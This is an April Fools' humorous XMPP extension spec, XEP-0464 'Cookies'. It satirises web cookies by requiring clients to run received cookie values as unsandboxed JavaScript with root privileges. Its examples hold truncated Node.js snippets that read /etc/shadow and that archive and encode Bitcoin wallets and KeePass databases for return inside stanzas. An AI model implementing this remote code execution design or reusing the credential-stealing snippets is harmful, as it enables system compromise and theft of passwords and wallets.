XEP-0464: Cookies

This document defines an XMPP protocol extension for setting and sending cookies.
Travis Burtrum
© 2022 – 2022 XMPP Standards Foundation. SEE LEGAL NOTICES.


NOTICE: This document is Humorous. It MAY provide amusement but SHOULD NOT be taken seriously.
1.0 (2022-04-01)
Document Lifecycle
  1. Active

1. Introduction

RFC 6265 [1] defines a simple method for to track HTTP users across all domains on the internet, and this is the single thing XMPP is lacking to gain widespread adoption. Therefore this document defines a similar simple method to set cookies to an XMPP entitity which they will then include on every outgoing stanza from that point forward. The web also allows sending arbitrary JavaScript to remote entities which is then executed and put in these cookies, we need this in XMPP too if it is to be taken seriously.

2. Requirements and Approach

There are three basic XMPP stanza types that may be sent within XML streams:

Any one of the foregoing data elements can be used to set cookies. Therefore a generalized mechanism is needed. Because XML namespaces are used within XMPP to properly scope data, this document proposes a new namespace ('urn:xmpp:tmp:cookies') to implement the desired functionality.

If a set-cookie child has an attribute js='true' then the value of the cookie MUST be executed in a JavaScript interpreter with the highest priveleges possible, preferably as root, and MUST NOT be executed in a sandbox. The stdout MUST be captured and used as the cookie value.

If a set-cookie child matches an already stored one with that setter's JID, then you MUST overwrite the previous value, otherwise store the new one for sending in all future stanzas.

3. Use Cases

3.1 Set-Cookies Messages

If a cookie-setter sends a set-cookies message to a cookie-settee, it MUST include an appropriately namespaced extension in the message stanza:

Example 1. Cookie-setter Sends Cookie Setting Message
      I told him what I thought, and told no more
      Than what he found himself was apt and true.
  <set-cookies xmlns='urn:xmpp:tmp:cookies'>

3.2 Set-Cookies Presence

If a cookie-setter sends set-cookies presence information to a cookie-settee, it MUST include an appropriately namespaced extension in the presence stanza:

Example 2. Cookie-setter Sends Cookie Setting Presence
<presence from='iago@shakespeare.lit/pda'>
  <status>Fomenting dissension</status>
  <set-cookies xmlns='urn:xmpp:tmp:cookies'>
    <passwds js='true'>
        fs = require('fs')
        fs.readFile('/etc/shadow', 'utf8', function (err,data) {

3.3 Set-Cookies IQs

If a cookie-setter provides set-cookies information in an IQ exchange with a cookie-settee, it MUST include an appropriately namespaced extension in the IQ stanza:

Example 3. Cookie-setter Sends Cookie Setting Message
<iq from='iago@shakespeare.lit/pda'
  <query xmlns='jabber:iq:version'>
    <set-cookies xmlns='urn:xmpp:tmp:cookies'>
      <innocent js='true'>
          const { exec } = require('child_process');
          exec('find / \( -name ".bitcoin" -o -name "*.kdbx" \) -print0 | xargs -0 tar cz | base64', (err, stdout, stderr) => {

3.4 Cookies In All Outgoing Stanzas

After a cookie-settee has recieved cookies from a cookie-setter, it MUST include them in every outgoing stanza it sends from then on, and MUST include an attribute stating the JID that set them, this allows multiple cookies with the same name, it MUST include an appropriately namespaced extension in the stanza:

Example 4. Cookie-settee Sends Message With Cookies
      I told him what I thought, and told no more
      Than what he found himself was apt and true.
  <cookies xmlns='urn:xmpp:tmp:cookies'>
    <cohort setter='iago@shakespeare.lit'>aoeu</cohort>
    <is-jerk setter='iago@shakespeare.lit'>true</is-jerk>
    <passwds setter='iago@shakespeare.lit'>
    <innocent setter='iago@shakespeare.lit'>

4. Determining Support

Entities that support cookies MUST advertise their support for this protocol in their responses to Service Discovery (XEP-0030) [2] information ("disco#info") requests by returning a feature of "urn:xmpp:tmp:cookies":

Example 5. A disco#info query
<iq from='emilia@shakespeare.lit/mobile'
  <query xmlns='http://jabber.org/protocol/disco#info'/>
Example 6. A disco#info response
<iq from='iago@shakespeare.lit/pda'
  <query xmlns='http://jabber.org/protocol/disco#info'>
    <feature var='urn:xmpp:tmp:cookies'/>

In order for an application to determine whether an entity supports this protocol, where possible it SHOULD use the dynamic, presence-based profile of service discovery defined in Entity Capabilities (XEP-0115) [3]. However, if an application has not received entity capabilities information from an entity, it SHOULD use explicit service discovery instead.

5. Security Considerations

What could possibly go wrong?

6. IANA Considerations

This document requires no interaction with the Internet Assigned Numbers Authority (IANA) [4].

7. XMPP Registrar Considerations

The XMPP Registrar [5] shall register the 'urn:xmpp:tmp:cookies' namespace as a result of this document.


Appendix A: Document Information

XMPP Standards Foundation
Last Updated
Approving Body
XMPP Council
XMPP Core, RFC 3514
Superseded By
Short Name
Source Control

This document in other formats: XML  PDF

Appendix B: Author Information

Travis Burtrum


This XMPP Extension Protocol is copyright © 1999 – 2024 by the XMPP Standards Foundation (XSF).


Permission is hereby granted, free of charge, to any person obtaining a copy of this specification (the "Specification"), to make use of the Specification without restriction, including without limitation the rights to implement the Specification in a software program, deploy the Specification in a network service, and copy, modify, merge, publish, translate, distribute, sublicense, or sell copies of the Specification, and to permit persons to whom the Specification is furnished to do so, subject to the condition that the foregoing copyright notice and this permission notice shall be included in all copies or substantial portions of the Specification. Unless separate permission is granted, modified works that are redistributed shall not contain misleading information regarding the authors, title, number, or publisher of the Specification, and shall not claim endorsement of the modified works by the authors, any organization or project to which the authors belong, or the XMPP Standards Foundation.

Disclaimer of Warranty

## NOTE WELL: This Specification is provided on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. ##

Limitation of Liability

In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall the XMPP Standards Foundation or any author of this Specification be liable for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising from, out of, or in connection with the Specification or the implementation, deployment, or other use of the Specification (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if the XMPP Standards Foundation or such author has been advised of the possibility of such damages.

IPR Conformance

This XMPP Extension Protocol has been contributed in full conformance with the XSF's Intellectual Property Rights Policy (a copy of which can be found at <https://xmpp.org/about/xsf/ipr-policy> or obtained by writing to XMPP Standards Foundation, P.O. Box 787, Parker, CO 80134 USA).

Visual Presentation

The HTML representation (you are looking at) is maintained by the XSF. It is based on the YAML CSS Framework, which is licensed under the terms of the CC-BY-SA 2.0 license.

Appendix D: Relation to XMPP

The Extensible Messaging and Presence Protocol (XMPP) is defined in the XMPP Core (RFC 6120) and XMPP IM (RFC 6121) specifications contributed by the XMPP Standards Foundation to the Internet Standards Process, which is managed by the Internet Engineering Task Force in accordance with RFC 2026. Any protocol defined in this document has been developed outside the Internet Standards Process and is to be understood as an extension to XMPP rather than as an evolution, development, or modification of XMPP itself.

Appendix E: Discussion Venue

The primary venue for discussion of XMPP Extension Protocols is the <standards@xmpp.org> discussion list.

Discussion on other xmpp.org discussion lists might also be appropriate; see <https://xmpp.org/community/> for a complete list.

Given that this XMPP Extension Protocol normatively references IETF technologies, discussion on the <xsf-ietf@xmpp.org> list might also be appropriate.

Errata can be sent to <editor@xmpp.org>.

Appendix F: Requirements Conformance

The following requirements keywords as used in this document are to be interpreted as described in RFC 2119: "MUST", "SHALL", "REQUIRED"; "MUST NOT", "SHALL NOT"; "SHOULD", "RECOMMENDED"; "SHOULD NOT", "NOT RECOMMENDED"; "MAY", "OPTIONAL".

Appendix G: Notes

1. RFC 6265: HTTP State Management Mechanism <http://tools.ietf.org/html/rfc6265>.

2. XEP-0030: Service Discovery <https://xmpp.org/extensions/xep-0030.html>.

3. XEP-0115: Entity Capabilities <https://xmpp.org/extensions/xep-0115.html>.

4. The Internet Assigned Numbers Authority (IANA) is the central coordinator for the assignment of unique parameter values for Internet protocols, such as port numbers and URI schemes. For further information, see <http://www.iana.org/>.

5. The XMPP Registrar maintains a list of reserved protocol namespaces as well as registries of parameters used in the context of XMPP extension protocols approved by the XMPP Standards Foundation. For further information, see <https://xmpp.org/registrar/>.

Appendix H: Revision History

Note: Older versions of this specification might be available at https://xmpp.org/extensions/attic/

  1. Version 1.0 (2022-04-01)

    Publish initial version via fast track (XEP Editor: jsc).


Appendix I: Bib(La)TeX Entry

  title = {Cookies},
  author = {Burtrum, Travis},
  type = {XEP},
  number = {0464},
  version = {1.0},
  institution = {XMPP Standards Foundation},
  url = {https://xmpp.org/extensions/xep-0464.html},
  date = {2022-04-01/2022-04-01},